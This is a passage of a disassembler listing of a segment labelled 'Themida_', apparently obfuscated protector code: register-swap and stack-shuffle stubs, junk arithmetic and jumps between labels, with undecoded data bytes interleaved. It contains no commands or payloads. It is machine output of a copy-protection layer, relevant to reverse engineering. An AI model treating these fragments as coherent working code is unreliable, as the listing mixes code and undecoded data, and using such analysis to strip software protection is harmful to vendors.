loc_51335C:				; CODE XREF: Themida_:00507C93j
		xchg	eax, [esp]
		pop	esp
		push	ecx
		pop	ebx
		jmp	loc_506B4A
; ---------------------------------------------------------------------------
		db 33h
		dd 14312414h, 4B03E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_513372:				; CODE XREF: Themida_:0050ADBAj
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	5F60h
		mov	[esp], ebp
		jmp	loc_50DBFD
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 242C895Ch, 0C5815D54h, 4, 4ED81h, 2C870000h,	0E21FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5133A2:				; CODE XREF: Themida_:005048A7j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		and	ecx, ebx
		jmp	loc_50F85B
; ---------------------------------------------------------------------------
		db 2Dh
		dd 9CA4CAA2h, 8DE9C221h, 29FFFF41h, 28BD2DD8h, 5E5B1421h
		dd 0FFD19CE9h, 4BAFFh, 2E90000h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5133D7:				; CODE XREF: Themida_:005164E5j
		push	dword ptr [esp]
		pop	ebp
		push	edi
		jmp	loc_511FCE
; ---------------------------------------------------------------------------
		dd offset loc_404168
		align 2
		dw 0CEE9h
		dd 1FFFF6Fh, 240C8BC8h,	4C481h,	4870000h, 24248B24h, 24048B66h
		dd 2D3168h, 24348900h, 2434FF54h, 4EC835Eh, 89240C89h
		dd 4C181E1h, 83000000h,	0CFE904C1h, 5AFFFF61h, 83240C8Bh
		dd 685604C4h, 434559C5h, 8324348Bh, 0F74E04C4h,	0BACEE9DEh
		dd 0E9D1FFFFh, 3E9AF181h, 0C6811988h, 711952A0h, 0FEFBBBE9h
		dd 241487FFh, 2BE565Ch,	0E9000000h, 0FFFF3FE6h,	31240C33h
		dd 0C33240Ch, 0C895C24h, 7B7D6824h, 3C890000h, 5E7E6824h
		dd 0E95F1970h, 0FFFFD82Ch, 68241C89h, 6538h, 0E9243C89h
		dd 0FFFFBC0Ah
; ---------------------------------------------------------------------------


loc_513490:				; CODE XREF: Themida_:00503B3Dj
		pop	ebx
		pop	ecx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		pop	ecx
		add	ah, dl
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dx
		jmp	loc_5132B9
; ---------------------------------------------------------------------------
		dw 15Bh
		dd 0C68158C6h, 5FE0613Fh, 0E9241C8Bh, 69h
; ---------------------------------------------------------------------------


loc_5134C4:				; CODE XREF: Themida_:005095EDj
		sub	esi, 0E9CBD9D5h
		add	eax, 33E5671Ch
		add	eax, esi
		sub	eax, 33E5671Ch
		pop	esi
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	ebx, ebp
		pop	ebp
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_5155BB
; ---------------------------------------------------------------------------


loc_5134F4:				; CODE XREF: Themida_:0050B8A9j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5125E4
; ---------------------------------------------------------------------------


loc_51350F:				; CODE XREF: Themida_:0050AD79j
		mov	eax, 0D4A0CBEh
		add	eax, ebx
		jmp	loc_512C5B
; ---------------------------------------------------------------------------
aMps		db '¬Pé²;',0            ; DATA XREF: Themida_:00502A34o
		align 2


loc_513522:				; CODE XREF: Themida_:005125DFj
		push	ecx
		mov	ecx, 3A291B0Ah
		jmp	loc_505E75
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4BA52h, 0D1010000h, 0FF1B4CE9h, 0E1C159FFh, 18E3E903h
		dd 0C9810000h, 2828226Ah, 0B36AE941h, 34FFFFFFh, 2434FF24h
		dd 0E7895758h, 4BB53h, 0DF010000h, 0FF28F8E9h, 7C4C05FFh
		dd 0D0F765DDh, 639D6848h, 9DE90000h, 1FFFFC9h, 660E9CAh
		dd 0EFC10000h, 0F7814F07h, 16BE3Ch, 9C685651h, 5E278D5Ah
		dd 0CE81DEF7h, 63F71E72h, 0C681D6F7h, 255E853h,	0FFE7BCE9h
		dd 48E952FFh
		db 35h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5135AF:				; CODE XREF: Themida_:00504021j
		push	esi
		push	3A8Eh
		mov	[esp], ecx
		jmp	loc_50ACDD
; ---------------------------------------------------------------------------
		db 81h,	31h, 77h
		dd 0E93B8B0Dh, 0FFFF2211h, 2B9h, 0CCEE8100h, 111800Ch
		dd 80C8E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5135DA:				; CODE XREF: Themida_:00503716j
		pop	eax
		add	esp, 4
		jmp	loc_50B3B8
; ---------------------------------------------------------------------------


loc_5135E6:				; CODE XREF: Themida_:005125F2j
		push	1F3Dh
		mov	[esp], esi
		mov	esi, esp
		push	edx
		mov	edx, 3ABE7562h
		jmp	loc_511A74
; ---------------------------------------------------------------------------
		db 8Bh
		dd 75E92404h, 5BFFFF67h, 0FF35A5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_513609:				; CODE XREF: Themida_:0050FE7Fj
		push	edx
		push	edi
		mov	edi, 6BAB5D2Ch
		jmp	loc_5092AA
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 33h
		dd 81364A73h, 176F22F7h, 0BA525355h, 61623507h,	315AD389h
		dd 0FB315BDFh, 81243C8Bh, 4C4h,	26C28100h, 10EBD7Ah, 0B145E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_513646:				; CODE XREF: Themida_:005079C0j
		push	7C04h
		mov	[esp], edx
		push	edx
		jmp	loc_506CEF
; ---------------------------------------------------------------------------
		dd 862EF781h, 0FB298F75h, 0E9243C8Bh, 0FFFF3683h, 0FF24248Bh
		dd 52592434h, 3F11E9h
		db 0
; ---------------------------------------------------------------------------


loc_513671:				; CODE XREF: Themida_:00514627j
		mov	edx, 0
		add	edx, eax
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		mov	[ebx], ecx
		pop	ebx
		pop	edx
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		push	edi
		jmp	loc_504A96
; ---------------------------------------------------------------------------
		db 81h
		dd 0AA7898C3h, 81FB2955h, 0AA7898EBh, 0B885F55h, 24E9595Bh
		dd 81FFFEF4h, 0D9B926C7h, 8BFB3135h, 0C483243Ch, 46EF6804h
		dd 35E90000h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5136BF:				; CODE XREF: Themida_:0050ACAAj
		add	esp, 4
		or	eax, eax
		jnz	loc_509FE1
		push	1BCBh
		jmp	loc_5129BA
; ---------------------------------------------------------------------------
		db 83h
		dd 40E904C4h, 0E9FFFF30h, 0FFFEF3E7h
; ---------------------------------------------------------------------------


loc_5136E4:				; CODE XREF: Themida_:00510269j
		mov	[esp], ecx
		jmp	loc_503713
; ---------------------------------------------------------------------------
		dd 245C015Fh, 0ABEDE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5136F6:				; CODE XREF: Themida_:005111E3j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_509E89
; ---------------------------------------------------------------------------
dword_513700	dd 240C8B66h, 81585450h, 4ECh, 4802E900h, 0FC280000h, 5B65C480h
					; DATA XREF: Themida_:00502820o
		dd 5258E528h, 0DDE967B2h
		db 27h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_513723:				; CODE XREF: Themida_:0050C56Cj
		push	esi
		mov	esi, esp
		jmp	loc_514B40
; ---------------------------------------------------------------------------
		db 89h
		dd 4BF243Ch, 50000000h,	0F73892B8h, 3188056Bh, 24054EF8h
		dd 16A0A9Eh, 0FB0158C3h, 83EEB81h, 875F24FAh, 95C241Ch
		dd 9E840FC0h, 53FFFF34h, 81E18951h, 4C1h, 4E98100h, 87000000h
		dd 895C240Ch, 0FEBD242Ch, 68000000h, 0ABAh, 0FFAFD7E9h
		dd 4C681FFh, 83000000h,	348704EEh, 34895C24h, 0BB535024h
		dd 6A530A6Ah, 0CB81DBF7h, 51506487h, 1C39C381h,	0E3C13657h
		dd 89EB8104h, 814AD072h, 9EDB7AF3h, 5BD8895Fh, 8ADD38BEh
		dd 5EEE8195h, 0E9269223h, 0FFFF88B0h, 8104C483h, 4C1h
		dd 0DF9BE900h, 55FFFFFh, 1C852632h, 0FFBC9EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5137E1:				; CODE XREF: Themida_:005114AFj
		pop	dword ptr [esp]
		pop	ebp
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_50C6F9
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 0A2C0E904h, 6655FFFFh, 0E9423BBDh, 441Ah
; ---------------------------------------------------------------------------


loc_51380C:				; CODE XREF: Themida_:00506482j
		push	edx
		push	558069BEh
		pop	edx
		push	ebx
		mov	ebx, 4B520497h
		jmp	loc_505BE2
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 2B924h, 0CB010000h, 241C8759h, 0FF8EBDE9h, 68FFh, 3C290000h
		dd 0BD555F24h, 6BDD2CE5h, 1B11C581h, 0BE566843h, 46707FB4h
		dd 815EF501h, 9B60FEC5h, 64B9514Ch, 0C178BD44h,	0F18107E9h
		dd 10EC3C36h, 68h, 240C2900h, 0F5F18159h, 0E907B169h, 1EC2h
		dd 0C5815D54h, 4, 4ED81h, 2C870000h, 0E9E95C24h
		db 3 dup(0)
byte_51388F	db 0ACh			; DATA XREF: Themida_:005028D8o
		dd 2EC81h, 9AE90000h
		db 0EBh, 2 dup(0FFh)
aMhA		db '¬hµA',0             ; DATA XREF: Themida_:00502A28o
		dd 0A2A4E900h, 0F281FFFFh, 3AB357A8h, 8105EAC1h, 0A2463ACAh
		dd 4EC8156h, 89000000h,	0E5BE2434h, 8107E618h, 0DC6C28EEh
		dd 8BE6814Bh, 8149290Dh, 0D4FF6h, 5B9DE9A1h, 4966FFFFh
		dd 0C474E950h, 0EA81FFFFh, 7D132836h, 74C168h, 24348900h
		dd 0FF737EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5138F5:				; CODE XREF: Themida_:0050AEB3j
		inc	edx
		not	edx
		xor	edx, 496E3A13h
		jmp	loc_50AB1F
; ---------------------------------------------------------------------------


loc_513903:				; CODE XREF: Themida_:00503661j
		push	edi
		mov	edi, 5E631B64h
		add	edi, 0C3F51BF2h
		xor	edx, edi
		pop	edi
		xchg	ebp, edx
		dec	ebp
		jmp	loc_50D9DB
; ---------------------------------------------------------------------------
		dw 14F7h
		dd 0EC815A24h, 4, 0F7241489h, 148B241Ch, 4C48324h, 4B97BF57h
		dd 0CF81797Eh, 6222098Fh, 0DC1E9h
		db 0
; ---------------------------------------------------------------------------


loc_513941:				; CODE XREF: Themida_:0050B4AEj
		pop	eax
		jmp	loc_513F83
; ---------------------------------------------------------------------------
		db 1
		dd 243C8BFEh, 104C483h,	0C5EE81DEh, 0FF2F3364h,	515B2434h
		dd 7F3E9h, 2474FF00h, 48F5E04h,	64E95C24h, 66FFFFDEh, 0E9240C89h
		dd 40DAh, 89240489h, 0BA5251E0h, 744C261Ch, 815AD189h
		dd 0FFFFFFC1h, 0B387E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_513992:				; CODE XREF: Themida_:0050C4EDj
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_50BEDC
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C4h
		dd 4, 31242C33h, 2C33242Ch, 7FE1E924h, 0D2F7FFFFh, 2B4FCA81h
		dd 0F2816313h, 750C30D3h, 0FFD345E9h, 243481FFh, 59F274ACh
		dd 4EC815Ah, 89000000h,	0E0892404h, 405h, 4E88300h, 0E9240487h
		dd 864h
; ---------------------------------------------------------------------------


loc_5139E8:				; CODE XREF: Themida_:0050C661j
		add	esp, 4
		push	esi
		jmp	loc_50888C
; ---------------------------------------------------------------------------


loc_5139F4:				; CODE XREF: Themida_:00511F69j
		add	esi, 4
		jmp	loc_5166D6
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9240C89h, 3BE2h, 0BF243C89h, 4A011083h, 0F707E7C1h
		dd 0ADC781DFh, 815DF053h, 0F01521CFh, 9D685274h, 8B57A9F6h
		dd 89572414h, 4C781E7h,	83000000h, 3C8704C7h, 99AE924h
		dd 0D501FFFFh, 4EC815Ah, 89000000h, 2FE9242Ch
		db 7, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_513A4F:				; CODE XREF: Themida_:0050FFE8j
		add	eax, esi
		jmp	loc_50B398
; ---------------------------------------------------------------------------


loc_513A56:				; CODE XREF: Themida_:0050A6DAj
		pop	ecx
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_51699B
; ---------------------------------------------------------------------------


loc_513A71:				; CODE XREF: Themida_:00505220j
		push	1814h
		mov	[esp], esp
		push	7337h
		jmp	loc_506F1D
; ---------------------------------------------------------------------------
		db 4
		dd 2CF000B4h, 48F7E9B4h, 8150FFFFh, 111D2434h, 8FE947CCh
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_513A9B:				; CODE XREF: Themida_:00513D0Bj
		pop	esi
		push	ebp
		mov	ebp, 4
		jmp	loc_5174EE
; ---------------------------------------------------------------------------
		db 88h
		dd 0DD2858E3h, 0C3805B66h, 83EB28DDh, 3C8904ECh, 81E78924h
		dd 4C7h, 0A8FAE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_513AC6:				; CODE XREF: Themida_:0050D8ABj
		jmp	loc_5178A0
; ---------------------------------------------------------------------------
		db 89h
		dd 0E389241Ch, 0FF8866E9h, 57E689FFh, 0B54AEEBFh, 0C9F78112h
		dd 0C1770362h, 0E95006E7h, 0FFFFABF6h, 142EE94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_513AF2:				; CODE XREF: Themida_:0050D754j
		xor	ebp, edi
		xor	edi, ebp
		sub	edi, 1
		push	763Ah
		mov	[esp], ecx
		mov	ecx, 0E3E7D26Dh
		sub	edi, 413E11CFh
		jmp	loc_505C06
; ---------------------------------------------------------------------------
		db 50h,	54h, 58h
		dd 405h, 67696800h, 2C890000h, 4BD24h, 0E8010000h, 4EC815Dh
		dd 89000000h, 0F8E92404h, 8BFFFF4Eh, 89522434h,	98ABE9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_513B42:				; CODE XREF: Themida_:0050D972j
		sub	edi, 262C3156h
		add	ebp, edi
		jmp	loc_504D05
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 8359CF01h, 0E95102C7h, 0FFFFF6F0h, 0A6BD555Bh, 0F700CF49h
		dd 45D5F7D5h, 0ED81D5F7h, 0AF9D5D61h, 0FFCE84E9h, 2474FFFFh
		dd 48F5B04h, 24248B24h,	582434FFh, 8904EC83h, 0E389241Ch
		dd 4C381h, 0EC830000h, 0E79E904h, 89660000h, 0F66240Ch
		dd 5166C8B6h, 0EF1DE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_513BAE:				; CODE XREF: Themida_:0050960Dj
		pop	esi
		jmp	loc_50FAD2
; ---------------------------------------------------------------------------
		dd 0C5814D5Ah, 39AB2E73h, 9A6BF581h, 0C281B5A2h, 474E244Dh
		dd 0EA81EA01h, 474E244Dh, 3360685Dh, 14890000h,	2474FF24h
		dd 7C38E904h, 0EA81FFFFh, 52B024C8h, 1D6E959h, 0E2300000h
		dd 2D1AE958h, 0D8000000h, 96E99B04h, 56FFFF60h,	0FF172DE9h
		dd 3FE95BFFh, 8900002Dh, 15B9240Ch, 52169C35h, 0FF2EA4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_513C19:				; CODE XREF: Themida_:00513FB1j
		mov	esp, [esp]
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	esi
		push	4E0Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_504EB7
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 29h
		dd 68FFFF0Ch, 42E8h, 0FF3896E9h, 1F9B68FFh, 0C890000h
		dd 0F395E924h, 0CE88FFFFh, 83240C8Bh, 535B04C4h, 0DD88F388h
		dd 24148B5Bh, 4C481h, 59680000h, 89000041h, 0EA882414h
		dd 0FFE991E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_513C99:				; CODE XREF: Themida_:00507BBBj
		push	1FA5h
		jmp	loc_509DAA
; ---------------------------------------------------------------------------
		db 50h
		dd 0B8h, 89E82900h, 0ED8158C5h,	56EB0DE4h, 4EC834Dh, 0BF243C89h
		dd 0
		dd 0FD87EF29h, 0D5C5815Fh, 8362AAF6h, 3C8904ECh, 7359BF24h
		dd 0FB013CB9h, 81EB295Fh, 0B97359EBh, 0DBE5E93Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_513CE6:				; CODE XREF: Themida_:0050DAEDj
		xchg	edx, ebp
		xchg	ebp, [esp]
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_503BC1
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 0BBC4B6Bh, 0FF53E952h, 525BFFFFh, 0FF9656E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_513D09:				; CODE XREF: Themida_:00514466j
		add	eax, esi
		jmp	loc_513A9B
; ---------------------------------------------------------------------------
		dd 2404875Fh, 22C9E9h, 2EC8300h, 24048966h, 223433B0h
		dd 0C0FED804h, 0D0F62704h, 0A4E95366h, 89FFFF7Fh, 9BBB241Ch
		dd 43430A21h, 0DCBD5557h, 450FE457h, 23A9C581h,	0E9553791h
		dd 0FFFF0938h, 63E9C801h, 52FFFFAAh, 0EC835A54h, 243C8904h
		dd 6B7E8568h, 243C8B51h, 4C481h, 0E9520000h, 0FFFFBDBBh
; ---------------------------------------------------------------------------


loc_513D74:				; CODE XREF: Themida_:0051622Fj
		sub	eax, edi
		pop	edi
		shr	eax, 4
		xor	eax, 0A55A0D67h
		jmp	loc_50DA38
; ---------------------------------------------------------------------------


loc_513D84:				; CODE XREF: Themida_:0050EB30j
					; Themida_:00516FA4j
		push	2383h
		mov	[esp], ebx
		push	edi
		mov	edi, 67B80E75h
		sub	dword ptr [esp+4], 586B467Eh
		jmp	loc_50924B
; ---------------------------------------------------------------------------


loc_513D9F:				; CODE XREF: Themida_:00514FD2j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	288Bh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_510264
; ---------------------------------------------------------------------------
		dd 0A228E94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_513DCA:				; CODE XREF: Themida_:00512AC8j
		add	esp, 4
		jmp	loc_506054
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24348904h, 0FA4012BEh, 0A1B85000h, 0E95D8765h, 480h
dword_513DE8	dd 4EC81ADh, 89000000h,	65BB241Ch, 5765D160h, 3B4980BFh
					; DATA XREF: Themida_:005028F0o
		dd 0B8C78105h, 0C169B221h, 0F78104EFh, 33692D5Ah, 0FF393BE9h
		dd 0F8015BFFh, 1157A905h, 0C0835F78h, 24043304h, 33240431h
		dd 0FF5C2404h, 48B2434h, 5F545724h, 4C781h, 0C7830000h
		dd 243C8704h, 0A268525Ch, 89000024h, 4812424h, 424h, 24148B00h
		dd 0FF97DBE9h, 44E95EFFh, 0B8FFFF8Dh, 4, 6858C101h, 570Eh
		dd 0BD242C89h, 4, 70E9E901h
		db 0FAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_513E77:				; CODE XREF: Themida_:0050A6CFj
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_50674C
; ---------------------------------------------------------------------------
		dd 1A6DCFBBh, 9FC38172h, 81596D1Eh, 9872CEC3h, 4EBA5235h
		dd 31071C75h, 0C3815AD3h, 4B9F2C03h, 2BA5E381h,	0F3816A4Ah
		dd 40022221h, 835BD901h, 0FF5104C1h, 0E9042474h, 0FFFF4CC6h
		dd 81242489h, 42404h, 685D0000h, 25ABh,	0B8240489h, 4
		dd 12A4ED81h, 0C5011621h, 12A4C581h, 34FF1621h,	0C4815824h
		dd 4, 4B951h, 0ED810000h, 4F830BFEh, 0FF4FF9E9h, 4C481FFh
		dd 0D1000000h, 3D06E9EDh, 0C3010000h, 0FFF6EAE9h, 242489FFh
		dd 4BE56h, 4DE90000h, 8BFFFFC5h, 0C4812414h, 4,	8959C889h
		dd 2434FFC2h, 0FF27B9E9h, 0BDC380FFh, 0FEC7E380h, 30ABE9CBh
		dd 159FFFFh, 0F6C281DAh, 0E96D4166h, 1B3Ch, 6A7DE181h
		dd 0C1816F27h, 59E479C5h, 52B1BD55h, 0E9096036h, 0AFE9815Dh
		dd 0E97DFEF2h, 0FFFF89D8h, 0F2B65253h, 884CF680h, 0EB805AF3h
		dd 33E95191h
		db 0Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_513F83:				; CODE XREF: Themida_:00513942j
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_508527
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFF44D9h, 8159CD01h, 4ECh, 3EBFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_513FAE:				; CODE XREF: Themida_:0050FD10j
		xchg	esi, [esp]
		jmp	loc_513C19
; ---------------------------------------------------------------------------
		dw 10E9h
		dd 83FFFEEBh, 51E904C4h, 56FFFFBAh, 24E9E689h
		db 3Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_513FCB:				; CODE XREF: Themida_:0050AF2Cj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_510BB2
; ---------------------------------------------------------------------------
		dw 0E8C1h
		dd 1FAC3503h, 0B9514C2Ch, 3B96393Eh, 8102E1C1h,	0BD7650C1h
		dd 3571E961h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_513FFE:				; CODE XREF: Themida_:00514F93j
		push	ebp
		jmp	loc_50DCE0
; ---------------------------------------------------------------------------
		dd 451EC181h, 1586959h,	0C38159CBh, 118F3AD6h, 0FF3147E9h
		dd 246C81FFh, 6451F004h, 1C9BE938h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_514026:				; CODE XREF: Themida_:00505D13j
		push	5F475444h
		pop	esi
		add	esi, 0A81B1216h
		jmp	loc_50A032
; ---------------------------------------------------------------------------


loc_514037:				; CODE XREF: Themida_:0051267Cj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_50E85E
; ---------------------------------------------------------------------------
		dd 5181C680h, 0ED8012B5h, 0DC06E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51404E:				; CODE XREF: Themida_:00505B82j
		pop	edi
		jmp	loc_5140B8
; ---------------------------------------------------------------------------
		dd 0EC52C181h, 0CF29F503h, 83240C8Bh, 0FB8904C4h, 83243C8Bh
		dd 0DF0104C4h, 537E9h
		db 0
aMhso		db '¬háO',0             ; DATA XREF: Themida_:005029C0o
		dw 8900h
		dd 0F7B3241Ch, 86FDF380h, 86D4F6E3h, 3192E9E3h,	0C4810000h
		dd 4, 81E38953h, 4C3h, 0E9DFE900h, 815AFFFFh, 0D158D0C2h
		dd 242C8B66h, 4C481h, 0D7010000h, 0E924148Bh, 198Ah
; ---------------------------------------------------------------------------


loc_5140B8:				; CODE XREF: Themida_:0051404Fj
		sub	edi, 19A4799Eh
		jmp	loc_51506A
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0A0BF57DDh, 297F2809h, 3AE95FFDh
		db 0, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_5140D3:				; CODE XREF: Themida_:005073D6j
		sub	ecx, 557300B4h
		jmp	loc_5042B8
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFF065Ch, 0A9DAE952h, 487FFFFh, 0D6685C24h, 8900006Bh
		dd 0F168240Ch, 89000021h, 0DCBA2414h, 0C146E251h, 0E95102EAh
		dd 0FFFF6598h, 81242C8Bh, 4C4h,	4DD5F700h, 2C80E581h, 0E581065Dh
		dd 2589788Ah, 69EBE581h, 0BE5663CFh, 639B6A4Ah,	0D6F7E6D1h
		dd 8106EEC1h, 266336C6h, 0E9E6D121h, 0FFFFED7Dh, 817B9FBEh
		dd 48D5E925h, 0E951FFFFh, 0FFFFEF56h, 0BF57E189h, 49380DD5h
		dd 0ABE7814Fh, 817A4637h, 0FFFA84C7h, 6823E9B7h, 0F7B9FFFFh
		dd 31742B2Fh, 0D8F759C8h, 0F2BF5740h, 57646B27h, 9C579EBFh
		dd 2943E96Eh
		db 2 dup(0FFh)
word_51418A	dw 8F66h		; DATA XREF: Themida_:005028D0o
		dd 0E939E902h, 5A5EFFFEh, 36A9F281h, 348B636Dh,	4EC8124h
		dd 89000000h, 2DE92434h
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5141AB:				; CODE XREF: Themida_:0051312Cj
		push	ecx
		jmp	loc_5075A6
; ---------------------------------------------------------------------------
		db 0F6h, 0D2h, 80h
		dd 8850B1C2h, 58E588D4h, 2883B05Ah, 0BCF7E9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5141C6:				; CODE XREF: Themida_:00514876j
		mov	[esp], ebx
		mov	bl, 57h
		jmp	loc_50D7FA
; ---------------------------------------------------------------------------
		dd 42474FFh, 5024048Bh,	7EE9E089h, 5FFFF4Ah, 4,	8704C083h
		dd 55C2404h, 5C382054h,	542DD801h, 5B5C3820h, 8956D829h
		dd 4C681E6h, 83000000h,	348704EEh, 46E95C24h, 0BAFFFF0Fh
		dd 281D3298h, 682BE6BDh, 5AD53136h, 0FFC666E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_514221:				; CODE XREF: Themida_:0050E981j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_50BDBD
; ---------------------------------------------------------------------------
		db 8Bh
		dd 9FE9243Ch, 81FFFF69h, 12239EF6h, 0E9F5898Eh,	0FFFF184Dh
		dd 2434895Ch, 0FF2A68E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_514255:				; CODE XREF: Themida_:00507F09j
		push	esi
		mov	esi, 79774A02h
		mov	ebx, 8688B602h
		add	ebx, esi
		pop	esi
		jmp	loc_50E539
; ---------------------------------------------------------------------------
		dd 0C244429h, 221EE958h
		db 2 dup(0FFh)
word_514272	dw 6866h		; DATA XREF: Themida_:005028A4o
		dd 0ADE922B3h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51427B:				; CODE XREF: Themida_:0050DDE8j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	0B75h
		mov	[esp], ebx
		push	174Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 716013ECh
		xor	edi, 1392110Fh
		push	ebx
		jmp	loc_51745B
; ---------------------------------------------------------------------------
a_Ksi		db '¹=_ØKé‰ ',0
		dw 8300h
		dd 206804C4h, 8900001Fh, 0EC812404h, 4,	68241C89h, 1828h
		dd 50240C89h, 1F0FE9h, 0A5ABF00h, 0C781437Bh, 6C25E955h
		dd 895FFA29h, 5B3FE9D1h, 0C781FFFFh, 0BD53D11Bh, 0D7DFD2Dh
		dd 5F82928h, 280D7DFDh,	83243C8Bh, 0F00104C4h, 0FA581B05h
		dd 24348B73h, 0FFBA04E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_514321:				; CODE XREF: Themida_:005164D9j
		mov	ebx, 1FDB7F30h
		shr	ebx, 6
		sub	ebx, 8F411238h
		mov	eax, ebx
		pop	ebx
		shl	eax, 7
		shl	eax, 2
		not	eax
		xor	eax, 0C7BA14B5h
		sub	edx, eax
		pop	eax
		push	eax
		mov	eax, 52FC69C9h
		and	eax, 2A800679h
		sub	eax, 99509E5h
		or	eax, 4BD04AE1h
		shr	eax, 1
		sub	eax, 2B896AADh
		add	edx, eax
		jmp	loc_50A16F
; ---------------------------------------------------------------------------


loc_514365:				; CODE XREF: Themida_:00508D28j
		push	edi
		mov	edi, 577C7008h
		inc	edi
		jmp	loc_50B77A
; ---------------------------------------------------------------------------
aYsw		db 'YéW+',0
		dw 8B00h
		dd 0C483243Ch, 14B85004h, 252DA514h, 6047CB7h, 8904EC83h
		dd 47BB241Ch, 0E92FA80Bh, 0FFFF7B12h, 0F281DAF7h, 65180591h
		dd 223EE957h, 1C8BFFFFh, 4C48324h, 5B196866h, 24148966h
		dd 386D68h, 240C8900h, 0C3B75366h, 0FFCC0BE9h, 241C87FFh
		dd 9B35E95Ch, 0FF59FFFFh, 148B2434h, 4C48324h, 19BEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5143DD:				; CODE XREF: Themida_:0050CE5Dj
